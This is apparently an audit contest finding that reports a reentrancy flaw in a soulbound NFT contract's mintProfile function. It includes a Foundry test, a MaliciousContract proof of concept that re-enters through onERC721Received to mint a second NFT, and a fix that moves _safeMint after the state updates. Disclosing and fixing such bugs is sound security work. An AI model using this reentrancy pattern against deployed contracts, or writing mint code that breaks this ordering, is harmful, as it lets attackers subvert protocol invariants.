DatingDapp

AI First Flight #6
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: medium
Valid

Reentrancy in `SoulboundProfileNft::mintProfile` allows minting multiple NFTs per address, which disrupts protocol expectations

Summary

In mintProfile, the internal _safeMint function is called before updating the contract state (_profiles[tokenId] and profileToToken[msg.sender]). This violates CEI, as _safeMint calls an internal function that could invoke an external contract if msg.sender is a contract with a malicious onERC721Received implementation.

function mintProfile(string memory name, uint8 age, string memory profileImage) external {

require(profileToToken[msg.sender] == 0, "Profile already exists");

uint256 tokenId = ++_nextTokenId;

_safeMint(msg.sender, tokenId);

// Store metadata on-chain

_profiles[tokenId] = Profile(name, age, profileImage);

profileToToken[msg.sender] = tokenId;

emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);

}

Impact

The attacker could end up having multiple NTFs, but only one profile. This is because the **mintProfile**function resets the **profileToToken**mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint.

I consider that the severity is Low because the **LikeRegistry**contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles.

Vulnerability Details

Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs:

function testReentrancyMultipleNft() public {
MaliciousContract maliciousContract = new MaliciousContract(
address(soulboundNFT)
);
vm.prank(address(maliciousContract));
MaliciousContract(maliciousContract).attack();
assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2);
assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1);
}
contract MaliciousContract {
SoulboundProfileNFT soulboundNFT;
uint256 counter;
constructor(address _soulboundNFT) {
soulboundNFT = SoulboundProfileNFT(_soulboundNFT);
}
// Malicious reentrancy attack
function attack() external {
soulboundNFT.mintProfile("Evil", 99, "malicious.png");
}
// Malicious onERC721Received function
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
// Reenter the mintProfile function
if (counter == 0) {
counter++;
soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png");
}
return 0x150b7a02;
}
}

Recommended Mitigation

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
- _safeMint(msg.sender, tokenId);
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
+ _safeMint(msg.sender, tokenId);
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-04] Reentrancy in `SoulboundProfileNft::mintProfile` allows minting multiple NFTs per address, which disrupts protocol expectations

## Description In `mintProfile`, the internal `_safeMint` function is called before updating the contract state (`_profiles[tokenId]` and `profileToToken[msg.sender]`). This violates CEI, as `_safeMint` calls an internal function that could invoke an external contract if `msg.sender` is a contract with a malicious `onERC721Received` implementation. Source Code: ```solidity function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ``` ## Vulnerability Details Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs: ```solidity function testReentrancyMultipleNft() public { MaliciousContract maliciousContract = new MaliciousContract( address(soulboundNFT) ); vm.prank(address(maliciousContract)); MaliciousContract(maliciousContract).attack(); assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2); assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1); } ``` ```Solidity contract MaliciousContract { SoulboundProfileNFT soulboundNFT; uint256 counter; constructor(address _soulboundNFT) { soulboundNFT = SoulboundProfileNFT(_soulboundNFT); } // Malicious reentrancy attack function attack() external { soulboundNFT.mintProfile("Evil", 99, "malicious.png"); } // Malicious onERC721Received function function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { // Reenter the mintProfile function if (counter == 0) { counter++; soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png"); } return 0x150b7a02; } } ``` ## Impact The attacker could end up having multiple NTFs, but only one profile. This is because the `mintProfile`function resets the `profileToToken`mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint. I consider that the severity is Low because the `LikeRegistry`contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles. ## Recommendations To follow CEI properly, move `_safeMint` to the end: ```diff function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; - _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; + _safeMint(msg.sender, tokenId); emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ```

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